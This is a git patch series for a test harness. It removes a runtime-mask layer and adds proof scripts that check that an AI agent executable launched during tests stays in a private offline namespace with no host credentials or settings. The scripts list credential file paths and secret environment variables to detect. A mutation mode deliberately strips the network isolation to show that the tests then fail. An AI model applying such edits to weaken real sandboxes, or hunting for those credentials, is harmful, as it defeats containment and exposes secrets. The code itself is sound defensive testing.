b/scripts/offline-runner/rootless-files.json @@ -1631,7 +1631,7 @@ "tests/labels.test.ts":{"sha256":"8e81aa508393cca674793fc1df63cce3a0fff64eb018b37158f03c6d82569374","compatible":true}, "tests/layer-direction-gate.test.ts":{"sha256":"85b257fdb3b6883288dc672997c61075a092e18ecb6022c510892a06fdcb1c98","compatible":true}, "tests/leakage-gate.test.ts":{"sha256":"b4f54933b550c0fcd5d5d5310351ff21ba55a6b1728bce25fd51a051be5eb7eb","compatible":true}, - "tests/local-checks.test.ts":{"sha256":"c4e1b2913e88b3b515f9c6be3e0803e512df4956994df0ebf030fe809baf2706","compatible":true}, + "tests/local-checks.test.ts":{"sha256":"4c4ce2fa47fa4b29257ae224276284ffcc914e8c8335ebeb5b256519b9338bc5","compatible":true}, "tests/lockfile.test.ts":{"sha256":"bd70d6035c084cd95698994a78d88de19f568cddac39eb6f7a94609c2f78a254","compatible":true}, "tests/manual-only-skills.test.ts":{"sha256":"345570fd4402d12f057385a3eb8824b8a610538fc7f06bda534417d872fabe71","compatible":true}, "tests/markdown-anchors.test.ts":{"sha256":"358a81886d4ff6bef29f840ac14dad8ede797190cc27e88353144b68f75b257b","compatible":true}, @@ -1701,7 +1701,7 @@ "tests/template-eval.test.ts":{"sha256":"60704df4a04ed10d4e7eb3b3adda737b2c5455bc5656860ae1ea0c392c24d8b0","compatible":true}, "tests/template-leftovers.test.ts":{"sha256":"21dffceeea3f80a32198a501189c5d7607614afbe397025b4a3cb3dae6769a9f","compatible":true}, "tests/test-deadlines.test.ts":{"sha256":"f254db058792f472b1d52009920b2b03c82ef87d26bc049b2b2e520be0f4db77","compatible":true}, - "tests/test-determinism.test.ts":{"sha256":"54db50d4b2afe3ab8d19e27d2cc61a7b393ac4108c90feac66f6b563dd9ace1d","compatible":true}, + "tests/test-determinism.test.ts":{"sha256":"818b1f881766123c27544236add33ad1e54f213140a2f4dbc345adc314986629","compatible":true}, "tests/test-git-maintenance.test.ts":{"sha256":"e9e452701ac651e53904947f0724cf2c2d54966df5390c477a1d518d17acffef","compatible":true}, "tests/test-home.test.ts":{"sha256":"00d9f1744166488f4c9bcc4c2979fbb625b659143311135d20e5280bbcbb8095","compatible":true}, "tests/test-invocation-child.test.ts":{"sha256":"a40863f1af20c72f084869df5b89a0862003498d67383e15ecc0d923da19b8bb","compatible":true}, diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index d87e6388f8..d0f33d01f9 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -290,13 +290,6 @@ def finish_view(backing, prepared, caller, profile, before): 'network': network} stub = ROOT / '.test-tools/native-stub' bind(stub, stub) - mask_exec = ROOT / '.test-tools/native-exec' - bind(mask_exec, mask_exec) - candidates = sorted(str(path.resolve()) for path in (ROOT / 'node_modules/@anthropic-ai').glob('claude-agent-sdk*/claude') if path.is_file()) - mask_file = pathlib.Path('/run/brain-test/runtime-masks.json') - mask_file.write_text(json.dumps({'version':1,'stub':str(stub),'exec':str(mask_exec),'paths':candidates})) - os.chmod(mask_file,0o444) - bind(mask_file, mask_file) catalog_file = pathlib.Path('/run/brain-test/rootless-files.json') shutil.copyfile(ROOT / 'scripts/offline-runner/rootless-files.json', catalog_file) os.chmod(catalog_file, 0o444) diff --git a/scripts/offline-runner/view_client.py b/scripts/offline-runner/view_client.py index 42f826de8d..9161a17c51 100644 --- a/scripts/offline-runner/view_client.py +++ b/scripts/offline-runner/view_client.py @@ -1,14 +1,10 @@ """One read-only namespace qualification request; no executable/file requests.""" -import errno -import fcntl -import hashlib import json import os import pathlib import socket import stat import struct -import sys def request(base): @@ -35,72 +31,9 @@ def request(base): return result -def exec_descriptors(): - declared={} - for key in ('BRAIN_WORKSPACE_LEASE','BRAIN_NATIVE_RECEIPT'): - if key in os.environ: - token=json.loads(os.environ[key]);fd=token['fd'] - if not isinstance(fd,int) or fd<3 or fd in declared:raise ValueError('harness schema') - declared[fd]=(key,token) - # Inventory first: opening /proc/self/fd adds an fd that is gone after - # listdir, so tolerate EBADF for that one stale inventory entry. - for number in os.listdir('/proc/self/fd'): - fd=int(number) - try:info=os.fstat(fd) - except OSError as error: - if error.errno==errno.EBADF:continue - raise - if fd<3: - if stat.S_ISREG(info.st_mode) or stat.S_ISFIFO(info.st_mode) or os.isatty(fd):continue - null=os.stat('/dev/null') - if stat.S_ISCHR(info.st_mode) and info.st_rdev==null.st_rdev:continue - raise ValueError('unsafe stdio') - if fd not in declared:os.close(fd);continue - key,token=declared[fd] - if not stat.S_ISREG(info.st_mode) or info.st_uid!=os.getuid() or info.st_nlink!=1 or str(info.st_dev)!=str(token['dev']) or str(info.st_ino)!=str(token['ino']):raise ValueError('harness identity') - flags=fcntl.fcntl(fd,fcntl.F_GETFL)&os.O_ACCMODE - if flags not in (os.O_RDONLY,os.O_WRONLY,os.O_RDWR) or (key=='BRAIN_NATIVE_RECEIPT' and flags==os.O_RDONLY):raise ValueError('harness direction') - owner=token['ownerPid'] - if not isinstance(owner,int) or owner<1:raise ValueError('harness owner') - namespace=str(os.stat('/proc/self/ns/pid').st_ino) - if key=='BRAIN_NATIVE_RECEIPT' and token.get('ownerPidNamespace')!=namespace: - # The original launcher validated this inherited file capability - # before the PID transition; the unchanged fd remains the channel. - continue - stamp=pathlib.Path('/proc/%d/stat'%owner).read_text().rsplit(') ',1)[1].split()[19] - if stamp!=token['ownerStart']:raise ValueError('harness owner expired') - current=os.getpid();owned=False - for _ in range(256): - if current==owner:owned=True;break - if current<=1:break - current=int(pathlib.Path('/proc/%d/stat'%current).read_text().rsplit(') ',1)[1].split()[1]) - if not owned:raise ValueError('harness owner is not an ancestor') - for fd in declared:os.fstat(fd) - - -def execute(base,command): - if base['ownerPid']!=1 or pathlib.Path('/proc/1/comm').read_text().strip()!='brain-test-init':raise ValueError('issuer') - owner=pathlib.Path('/proc/1/stat').read_text().rsplit(') ',1)[1].split()[19] - issuer=pathlib.Path('/proc/1/cmdline').read_bytes().split(b'\0') - allowed=(os.fsencode(base['root']+'/scripts/offline-runner/runner.py'),b'/usr/local/libexec/brain-test/runner.py') - if owner!=base['ownerStart'] or issuer[1:3]!=[b'-I',b'-S'] or issuer[3] not in allowed:raise ValueError('issuer identity') - exec_descriptors() - result=request(base) - namespaces={key:os.readlink('/proc/self/ns/'+key) for key in ('net','mnt','ipc','pid','user')} - identity={'uid':os.getuid(),'gid':os.getgid(),'groups':os.getgroups()} - fields=dict(line.split(':',1) for line in pathlib.Path('/proc/self/status').read_text().splitlines() if ':' in line) - if result['namespaces']!=namespaces or result['identity']!=identity or result['mountHash']!=hashlib.sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest():raise ValueError('final view changed') - if any(int(fields[key].strip(),16) for key in ('CapEff','CapPrm','CapInh','CapAmb','CapBnd')):raise ValueError('mask capabilities') - os.execvpe(command[0],command,os.environ) - - if __name__=='__main__': try: base=json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) - if sys.argv[1:2]==['--exec'] and len(sys.argv)>2:execute(base,sys.argv[2:]) - elif len(sys.argv)==1:print(json.dumps(request(base))) - else:raise ValueError('arguments') - except (OSError,ValueError,KeyError) as error: - if sys.argv[1:2]==['--exec']: - print(json.dumps({'kind':'offline-mask-refusal','success':False,'reason':'offline native isolation unavailable: mask setup failed','stage':'view-qualification','operation':type(error).__name__}),file=sys.stderr,flush=True) + print(json.dumps(request(base))) + except (OSError,ValueError,KeyError): raise SystemExit(125) diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index ff16e1ace8..e350ac75d9 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,5 +1,4 @@ import {spawnEntry} from "./offline-runner/pipes"; -import {runtimeMaskCommand} from "./offline-runner/masks"; import {requireOfflineRunner,rootlessTestCommand} from "./offline-runner/qualification"; /** Test-only subprocess and transport safeguards; never imported by a published package. */ import { basename, join } from "node:path"; @@ -143,12 +142,10 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { for (const key of ["spawn", "spawnSync"] as const) { const native = Bun[key]; Bun[key] = ((...args: unknown[]) => { + requireOfflineRunner(); const first = args[0] as string[] | { cmd: string[] }; let cmd = Array.isArray(first) ? first : first.cmd; const executable = String(cmd[0]); - const launchOptions=(Array.isArray(first)?args[1]:first) as {env?:Record}|undefined; - const masked=runtimeMaskCommand(cmd,launchOptions?.env??process.env); - if(masked.length!==cmd.length){cmd=masked;args[0]=Array.isArray(first)?cmd:{...first,cmd};} if (basename(executable) === "curl") refuse(`${key} ${cmd.join(" ")}`); if (basename(executable) === "bun" || executable === process.execPath) { const options=(Array.isArray(first)?args[1]:first) as {cwd?:string}|undefined; @@ -173,7 +170,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const inherited = inheritWorkspaceLease({ ...options, env: testGitEnvironment(options.env ?? process.env) }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; else args[0] = inherited; - const result = (/(?:^|\/)(?:entry|bun|native-exec)$/.test(String(cmd[0])) || String(cmd[0]) === process.execPath || cmd.includes("/run/brain-test/entry")) + const result = (/(?:^|\/)(?:entry|bun)$/.test(String(cmd[0])) || String(cmd[0]) === process.execPath || cmd.includes("/run/brain-test/entry")) ? spawnEntry(native, Bun, key === "spawnSync", cmd, (Array.isArray(first) ? args[1] : args[0]) as Record) : Reflect.apply(native, Bun, args); return result; diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index e8162dcdd5..7c4a4f04d4 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "offline-runner/pipes.ts", "offline-runner/masks.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "offline-runner/pipes.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index 747ad37663..b0e00f6717 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/offline-runner/pipes.ts", "scripts/offline-runner/masks.ts", "scripts/offline-runner/qualification.ts", "scripts/offline-runner/catalog.py", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/offline-runner/pipes.ts", "scripts/offline-runner/qualification.ts", "scripts/offline-runner/catalog.py", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index e8e7fa565b..9de976eb27 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -424,7 +424,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "offline-runner/pipes.ts", "offline-runner/masks.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "offline-runner/pipes.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { mkdirSync(dirname(join(dir, "scripts", helper)), {recursive:true}); cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 5ab037d9b0..5a18e757a5 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -18,7 +18,7 @@ const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", - "offline-runner/pipes.ts", "offline-runner/masks.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", + "offline-runner/pipes.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; From 0a2db490754bebf75b7ca17d6347902d13b2a97a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 00:44:31 +0000 Subject: [PATCH 172/187] test: prove unexpected native execution stays inside the offline view --- .../offline-runner/unexpected-native-proof.py | 37 ++++++++ scripts/offline-runner/unexpected-native.ts | 88 +++++++++++++++++++ 2 files changed, 125 insertions(+) create mode 100644 scripts/offline-runner/unexpected-native-proof.py create mode 100644 scripts/offline-runner/unexpected-native.ts diff --git a/scripts/offline-runner/unexpected-native-proof.py b/scripts/offline-runner/unexpected-native-proof.py new file mode 100644 index 0000000000..bf66ff2f29 --- /dev/null +++ b/scripts/offline-runner/unexpected-native-proof.py @@ -0,0 +1,37 @@ +"""Synthetic provider listeners/settings in a disposable outer fixture view.""" +import ctypes +import os +import pathlib +import shutil +import subprocess +import tempfile + +root=pathlib.Path(__file__).resolve().parents[2] +if os.geteuid()!=0:raise SystemExit('Fixed outer proof requires root') +if list(pathlib.Path('/etc').glob('claude-code/managed-settings*')):raise SystemExit('Unexpected host managed settings') +for home in ('/home/user','/root'): + for secret in ('.claude/.credentials.json','.claude/credentials.json'): + if (pathlib.Path(home)/secret).exists():raise SystemExit('Unexpected host credential file') + for config in (pathlib.Path(home)/'.claude.json',pathlib.Path(home)/'.claude/settings.json'): + if config.exists() and 'apiKeyHelper' in config.read_text():raise SystemExit('Unexpected host helper') +if (root/'.env').exists():raise SystemExit('Unexpected invoking credential file') +for key,value in os.environ.items(): + if value and any(part in key.upper() for part in ('API_KEY','AUTH_TOKEN','ANTHROPIC','CLAUDE_CODE_OAUTH')):raise SystemExit('Unexpected inherited credential') +libc=ctypes.CDLL(None,use_errno=True) +if libc.unshare(0x20000|0x40000000):raise OSError(ctypes.get_errno(),'outer private mount/network') +if libc.mount(None,b'/',None,16384|(1<<18),None):raise OSError(ctypes.get_errno(),'outer private propagation') +subprocess.run(['/usr/sbin/ip','link','set','lo','up'],check=True) +with tempfile.TemporaryDirectory(prefix='odysseus-native-outer-') as directory: + etc=pathlib.Path(directory)/'etc';shutil.copytree('/etc',etc,symlinks=True) + if libc.mount(os.fsencode(etc),b'/etc',None,4096,None):raise OSError(ctypes.get_errno(),'synthetic settings view') + try: + home=pathlib.Path(directory)/'home';home.mkdir() + os.environ['HOME']=str(home) + os.environ.pop('CLAUDE_CONFIG_DIR',None) + for key in list(os.environ): + if 'PROXY' in key.upper() or key=='SSH_AUTH_SOCK':os.environ.pop(key) + bun=(root/'.test-tools/bun-path').read_text().strip() + result=subprocess.run([bun,'--no-env-file',str(root/'scripts/offline-runner/unexpected-native.ts'),'--outer',str(pathlib.Path(directory)/'helper-count')]) + raise SystemExit(result.returncode) + finally: + if libc.umount2(b'/etc',0):raise OSError(ctypes.get_errno(),'synthetic settings cleanup') diff --git a/scripts/offline-runner/unexpected-native.ts b/scripts/offline-runner/unexpected-native.ts new file mode 100644 index 0000000000..ba69350e4f --- /dev/null +++ b/scripts/offline-runner/unexpected-native.ts @@ -0,0 +1,88 @@ +/** Focused actual-native isolation proof; no role registration or native mask. */ +import {existsSync,readFileSync,readlinkSync,statSync,writeFileSync,chmodSync,mkdirSync} from "node:fs"; +import {join} from "node:path"; +import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; +import {watchdogMs} from "../test-deadlines"; +import {spawnEntry} from "./pipes"; +import {requireOfflineRunner} from "./qualification"; +const root=new URL("../../",import.meta.url).pathname.replace(/\/$/,""),runtime=bundledClaudeBinary(); +if(!runtime)throw Error("UNEXPECTED_NATIVE_REQUIRES_REAL_EXECUTABLE"); +const outer=process.argv[2]==="--outer",nonce="Odysseus-"+crypto.randomUUID(); +const settings="/etc/claude-code/managed-settings.json",counter=outer?process.argv[3]!:"/tmp/odysseus-native-helper-count"; +const actual=statSync(runtime),launches:{pid:number;sameExe:boolean;sameView:boolean;settings:boolean;credential:boolean}[]=[]; +const originalSpawn=Bun.spawn; +Bun.spawn=((...args:unknown[])=>{ + const first=args[0] as string[]|{cmd:string[]},command=Array.isArray(first)?first:first.cmd; + const child=Reflect.apply(originalSpawn,Bun,args) as ReturnType; + if(command[0]===runtime){ + const image=statSync(`/proc/${child.pid}/exe`); + launches.push({pid:child.pid,sameExe:image.dev===actual.dev&&image.ino===actual.ino, + sameView:["net","mnt"].every(key=>readlinkSync(`/proc/${child.pid}/ns/${key}`)===readlinkSync(`/proc/self/ns/${key}`)), + settings:existsSync(`/proc/${child.pid}/root${settings}`), + credential:readFileSync(`/proc/${child.pid}/environ`).includes(Buffer.from("odysseus-inherited-credential"))}); + } + return child; +}) as typeof Bun.spawn; +const {query}=await import("@anthropic-ai/claude-agent-sdk"); +async function ask(endpoint:string,key:boolean){ + const before=launches.length,env:Record={...process.env,ANTHROPIC_BASE_URL:endpoint,ODYSSEUS_MANAGED_HELPER_COUNTER:counter}; + if(key)env.ANTHROPIC_API_KEY="offline-odysseus";else delete env.ANTHROPIC_API_KEY; + const stream=query({prompt:"Reply with "+nonce,options:{pathToClaudeCodeExecutable:runtime!,model:"claude-haiku-4-5",maxTurns:1,tools:[],settingSources:[],env}}); + let answered=false,nonceMatched=false,initialized=false; + const watchdog=setTimeout(()=>{ + for(const item of launches.slice(before))try{process.kill(item.pid,"SIGKILL");}catch{} + stream.close(); + },watchdogMs(15000)); + try{for await(const row of stream){if(row.type==="system"&&row.subtype==="init")initialized=true;if(row.type==="result"&&row.subtype==="success"){answered=true;nonceMatched=row.result.includes(nonce);}}} + catch{}finally{clearTimeout(watchdog);stream.close();} + const seen=launches.slice(before); + if(!seen.length||seen.some(row=>!row.sameExe||!row.sameView||row.credential))throw Error("UNEXPECTED_NATIVE_EXEC_AND_VIEW_WITNESS"); + return {answered,nonceMatched,initialized,seen}; +} +function api(hostname:string,onRequest:()=>void){ + return Bun.serve({hostname,port:0,async fetch(request){ + if(!new URL(request.url).pathname.endsWith("/messages"))return Response.json({}); + onRequest();const text=await request.text(); + const reply=text.includes(nonce)?nonce:"Odysseus fixture reply"; + const message={id:"msg_odysseus",type:"message",role:"assistant",content:[],model:"claude-haiku-4-5",stop_reason:null,stop_sequence:null,usage:{input_tokens:1,output_tokens:0}}; + const rows=[{type:"message_start",message},{type:"content_block_start",index:0,content_block:{type:"text",text:""}},{type:"content_block_delta",index:0,delta:{type:"text_delta",text:reply}},{type:"content_block_stop",index:0},{type:"message_delta",delta:{stop_reason:"end_turn",stop_sequence:null},usage:{output_tokens:1}},{type:"message_stop"}]; + return new Response(rows.map(row=>`event: ${row.type}\ndata: ${JSON.stringify(row)}\n\n`).join(""),{headers:{"content-type":"text/event-stream"}}); + }}); +} +if(outer){ + if(!counter?.startsWith("/tmp/odysseus-native-outer-"))throw Error("Fixed helper counter required"); + mkdirSync("/etc/claude-code",{recursive:true}); + writeFileSync("/etc/claude-code/fixture-helper.sh",'#!/bin/sh\nset -eu\nprintf "1\\n" >> "$ODYSSEUS_MANAGED_HELPER_COUNTER"\nprintf offline-odysseus\n'); + chmodSync("/etc/claude-code/fixture-helper.sh",0o555); + writeFileSync(settings,JSON.stringify({apiKeyHelper:"/etc/claude-code/fixture-helper.sh"})); + let calls=0;const v4=api("127.0.0.1",()=>calls++),v6=api("::1",()=>calls++); + try{ + for(const server of [v4,v6]){ + const result=await ask(server.url.origin,false); + if(!result.answered||!result.nonceMatched||!result.initialized||result.seen.some(row=>!row.settings))throw Error("OUTER_ACTUAL_NATIVE_LISTENER_POSITIVE_CONTROL"); + } + if(!existsSync(counter)||readFileSync(counter,"utf8").length===0||calls<2)throw Error("OUTER_MANAGED_HELPER_POSITIVE_CONTROL"); + const before=calls; + const child=spawnEntry(originalSpawn,Bun,false,[join(root,".test-tools/entry"),process.execPath,"--preload",join(root,"scripts/test-network-child-preload.ts"),import.meta.path,"--inside",v4.url.origin,v6.url.origin],{stdin:"ignore",stdout:"pipe",stderr:"pipe",env:{...process.env,ANTHROPIC_API_KEY:"odysseus-inherited-credential",ODYSSEUS_INHERITED_CREDENTIAL:"odysseus-inherited-credential"}}) as Bun.Subprocess<"ignore","pipe","pipe">; + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + process.stdout.write(out);process.stderr.write(err); + if(code!==0)throw Error("UNEXPECTED_NATIVE_INNER_PROOF_FAILED"); + if(calls!==before)throw Error("UNEXPECTED_NATIVE_CANNOT_REACH_OUTER_LISTENER"); + console.log(JSON.stringify({proof:"UNEXPECTED_NATIVE_OUTER_LISTENERS_SETTINGS_CREDENTIALS",result:"pass",outerPositiveCalls:before,afterCalls:calls})); + }finally{v4.stop(true);v6.stop(true);} +}else{ + requireOfflineRunner(); + if(process.argv[2]!=="--inside"||process.argv.length!==5)throw Error("Unexpected native proof arguments"); + if(process.env.ANTHROPIC_API_KEY||process.env.ODYSSEUS_INHERITED_CREDENTIAL)throw Error("UNEXPECTED_NATIVE_HAS_NO_HOST_CREDENTIALS"); + for(const endpoint of process.argv.slice(3)){ + const result=await ask(endpoint,true); + if(result.answered)throw Error("UNEXPECTED_NATIVE_CANNOT_REACH_OUTER_LISTENER"); + if(result.seen.some(row=>row.settings))throw Error("UNEXPECTED_NATIVE_HAS_NO_HOST_SETTINGS"); + } + const local=api("127.0.0.1",()=>{}); + try{ + const result=await ask(local.url.origin,false); + if(result.seen.some(row=>row.settings)||existsSync(counter))throw Error("UNEXPECTED_NATIVE_SEES_NO_HOST_SETTINGS_HELPER"); + }finally{local.stop(true);} + console.log(JSON.stringify({proof:"UNEXPECTED_NATIVE_EXECUTED_IN_PRIVATE_VIEW",result:"pass",launches:launches.length})); +} From 69babdd6dfcf78c1f8332315f5b359b3953d4ae1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 00:58:31 +0000 Subject: [PATCH 173/187] test: exercise actual native isolation and managed-helper mutations --- .../offline-runner/unexpected-native-proof.py | 34 +++++++++++++++++++ scripts/offline-runner/unexpected-native.ts | 13 ++++--- 2 files changed, 42 insertions(+), 5 deletions(-) diff --git a/scripts/offline-runner/unexpected-native-proof.py b/scripts/offline-runner/unexpected-native-proof.py index bf66ff2f29..9c5ad44e16 100644 --- a/scripts/offline-runner/unexpected-native-proof.py +++ b/scripts/offline-runner/unexpected-native-proof.py @@ -5,6 +5,8 @@ import shutil import subprocess import tempfile +import sys +import json root=pathlib.Path(__file__).resolve().parents[2] if os.geteuid()!=0:raise SystemExit('Fixed outer proof requires root') @@ -17,6 +19,38 @@ if (root/'.env').exists():raise SystemExit('Unexpected invoking credential file') for key,value in os.environ.items(): if value and any(part in key.upper() for part in ('API_KEY','AUTH_TOKEN','ANTHROPIC','CLAUDE_CODE_OAUTH')):raise SystemExit('Unexpected inherited credential') +if sys.argv[1:]==['--mutations']: + runner=root/'scripts/offline-runner/runner.py';service=root/'scripts/offline-runner/view_service.py' + originals={p:p.read_bytes() for p in (runner,service)} + cases=[ + ('OMIT_OFFLINE_NETWORK_VIEW',[ + (runner,"NEWNS | NEWNET | NEWIPC","NEWNS | NEWIPC"), + (runner,"for key in ('net', 'mnt', 'ipc', 'pid')","for key in ('mnt', 'ipc', 'pid')"), + (service,"for key in ('net','mnt','ipc','pid'):","for key in ('mnt','ipc','pid'):")], + 'UNEXPECTED_NATIVE_CANNOT_REACH_OUTER_LISTENER'), + ('EXPOSE_HOST_MANAGED_HELPER',[ + (runner," os.chmod(view / 'etc/claude-code', 0o555)"," shutil.copytree('/etc/claude-code',view / 'etc/claude-code',dirs_exist_ok=True)\n os.chmod(view / 'etc/claude-code', 0o555)")], + 'UNEXPECTED_NATIVE_SEES_NO_HOST_SETTINGS_HELPER')] + try: + for name,edits,assertion in cases: + for path,before,after in edits: + text=path.read_text() + if text.count(before)!=1:raise AssertionError('MUTATION_SOURCE_'+name) + path.write_text(text.replace(before,after,1)) + broken=subprocess.run([sys.executable,'-I','-S',__file__],capture_output=True,text=True,timeout=300) + if broken.returncode==0 or assertion not in broken.stdout+broken.stderr:raise AssertionError('NAMED_MUTATION_FAILURE_'+name+': '+(broken.stdout+broken.stderr)[-2500:]) + if name=='EXPOSE_HOST_MANAGED_HELPER': + rows=[json.loads(line) for line in broken.stdout.splitlines() if line.startswith('{')] + if not any(row.get('helperInvocations',0)>0 for row in rows):raise AssertionError('REAL_HELPER_EXECUTES_IN_MUTATION') + print(json.dumps({'mutation':name,'assertion':assertion,'result':'named failure'}),flush=True) + for path,data in originals.items():path.write_bytes(data) + restored=subprocess.run([sys.executable,'-I','-S',__file__],capture_output=True,text=True,timeout=300) + if restored.returncode!=0:raise AssertionError('RESTORED_NATIVE_PROOF_'+name+': '+(restored.stdout+restored.stderr)[-2500:]) + print(json.dumps({'mutation':name,'restored':'pass'}),flush=True) + finally: + for path,data in originals.items():path.write_bytes(data) + raise SystemExit(0) +if len(sys.argv)!=1:raise SystemExit('Unknown unexpected-native proof mode') libc=ctypes.CDLL(None,use_errno=True) if libc.unshare(0x20000|0x40000000):raise OSError(ctypes.get_errno(),'outer private mount/network') if libc.mount(None,b'/',None,16384|(1<<18),None):raise OSError(ctypes.get_errno(),'outer private propagation') diff --git a/scripts/offline-runner/unexpected-native.ts b/scripts/offline-runner/unexpected-native.ts index ba69350e4f..87c3292ba5 100644 --- a/scripts/offline-runner/unexpected-native.ts +++ b/scripts/offline-runner/unexpected-native.ts @@ -9,14 +9,14 @@ const root=new URL("../../",import.meta.url).pathname.replace(/\/$/,""),runtime= if(!runtime)throw Error("UNEXPECTED_NATIVE_REQUIRES_REAL_EXECUTABLE"); const outer=process.argv[2]==="--outer",nonce="Odysseus-"+crypto.randomUUID(); const settings="/etc/claude-code/managed-settings.json",counter=outer?process.argv[3]!:"/tmp/odysseus-native-helper-count"; -const actual=statSync(runtime),launches:{pid:number;sameExe:boolean;sameView:boolean;settings:boolean;credential:boolean}[]=[]; +const actual=statSync(runtime),launches:{pid:number;sameExe:boolean;sameView:boolean;settings:boolean;credential:boolean;kill:()=>void}[]=[]; const originalSpawn=Bun.spawn; Bun.spawn=((...args:unknown[])=>{ const first=args[0] as string[]|{cmd:string[]},command=Array.isArray(first)?first:first.cmd; const child=Reflect.apply(originalSpawn,Bun,args) as ReturnType; if(command[0]===runtime){ const image=statSync(`/proc/${child.pid}/exe`); - launches.push({pid:child.pid,sameExe:image.dev===actual.dev&&image.ino===actual.ino, + launches.push({pid:child.pid,kill:()=>child.kill("SIGKILL"),sameExe:image.dev===actual.dev&&image.ino===actual.ino, 